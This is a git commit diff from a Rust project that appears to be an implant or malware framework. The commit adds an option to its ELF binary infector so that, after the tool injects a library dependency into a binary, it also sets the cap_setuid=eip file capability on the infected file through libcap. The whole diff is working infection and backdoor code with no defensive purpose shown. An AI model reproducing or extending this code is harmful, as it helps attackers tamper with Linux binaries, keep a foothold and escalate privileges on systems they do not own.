feat: added the ability to set CAP_SETUID

This commit is contained in:
Andrew Rioux
2025-02-09 01:11:23 -05:00
parent 8d47ac128d
commit becd0c2f56
6 changed files with 66 additions and 118 deletions

View File

@@ -1,10 +1,11 @@
use std::{
io::{prelude::*, Error, SeekFrom},
os::fd::AsRawFd,
path::Path,
slice,
};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_actions::payload_types::XOR_KEY;
mod elf_types;
use elf_types::*;
@@ -22,6 +23,7 @@ pub fn infect_elf_binary<BP, LP>(
binary_path: BP,
target_library_path: LP,
mut sparse_parameters: Vec<u8>,
#[cfg(target_os = "linux")] add_setuid_capability: bool,
) -> Result<(), Error>
where
BP: AsRef<Path>,
@@ -71,99 +73,20 @@ where
};
if let ElfIsa::Amd64 = isa {
infect_64bit_elf_binary(target_library_path, binary, binary_data)?;
#[cfg(target_os = "linux")]
{
use libc::c_int;
#[repr(C)]
struct CapT {
__private: [u8; 0],
}
type CapValue = c_int;
// cap_flag_t
const CAP_EFFECTIVE: u8 = 0;
const CAP_PERMITTED: u8 = 1;
const CAP_INHERITABLE: u8 = 2;
// cap_flag_value_t
const CAP_SET: u8 = 0;
extern "C" {
fn cap_free(cap: *mut CapT) -> c_int;
fn cap_get_file(filename: *const i8) -> *mut CapT;
fn cap_set_flag(
cap: *mut CapT,
cap_flag: u8,
count: c_int,
cap_flag_value: *const CapValue,
cap_flag_value_t: u8,
) -> c_int;
fn cap_set_file(filename: *const i8, cap: *mut CapT) -> c_int;
}
// CAP_SETUID
let cap_list = [7];
unsafe {
let path = std::ffi::CString::new(
binary_path
.as_ref()
.to_str()
.expect("could not convert binary path to string"),
)
.expect("could not convert binary path to string");
let current_caps = cap_get_file(path.as_ptr());
println!("Result of getting caps: {}", errno::errno());
println!(
"Result of setting effective caps: {} (errno: {})",
cap_set_flag(
current_caps,
CAP_EFFECTIVE,
1,
&cap_list[0] as *const _,
CAP_SET
),
errno::errno()
);
println!(
"Result of setting permitted caps: {} (errno: {})",
cap_set_flag(
current_caps,
CAP_PERMITTED,
1,
&cap_list[0] as *const _,
CAP_SET
),
errno::errno()
);
println!(
"Result of setting inheritable caps: {} (errno: {})",
cap_set_flag(
current_caps,
CAP_INHERITABLE,
1,
&cap_list[0] as *const _,
CAP_SET
),
errno::errno()
);
println!(
"Result of saving flags: {}, {}",
cap_set_file(path.as_ptr(), current_caps),
errno::errno()
);
cap_free(current_caps);
cfg_if::cfg_if! {
if #[cfg(target_os = "linux")] {
infect_64bit_elf_binary(
target_library_path,
binary,
binary_data,
add_setuid_capability,
)?;
} else {
infect_64bit_elf_binary(
target_library_path,
binary,
binary_data
)?;
}
}
@@ -178,10 +101,11 @@ fn infect_64bit_elf_binary<LP, F>(
library_path: LP,
mut binary: F,
mut binary_data: Vec<u8>,
#[cfg(target_os = "linux")] add_setuid_capability: bool,
) -> Result<(), Error>
where
LP: AsRef<Path>,
F: Read + Write + Seek,
F: Read + Write + Seek + AsRawFd,
{
let Some(library_name) = library_path.as_ref().file_name() else {
eprintln!("Library name does not contain a valid file path!");
@@ -359,5 +283,30 @@ where
binary.seek(SeekFrom::Start(0))?;
binary.write(&binary_data)?;
#[cfg(target_os = "linux")]
if add_setuid_capability {
use libc::c_int;
type CapT = libc::c_void;
unsafe extern "C" {
fn cap_free(cap: *mut CapT) -> c_int;
fn cap_set_fd(fd: c_int, cap: *mut CapT) -> c_int;
fn cap_from_text(caps: *const libc::c_char) -> *mut CapT;
}
// CAP_SETUID is 7
// CAP_NET_RAW is 13
// CAP_SETFCAP is 31
// CAP_FOWNER is 3
unsafe {
let current_caps = cap_from_text(c"cap_setuid=eip".as_ptr());
cap_set_fd(binary.as_raw_fd(), current_caps);
cap_free(current_caps);
}
}
Ok(())
}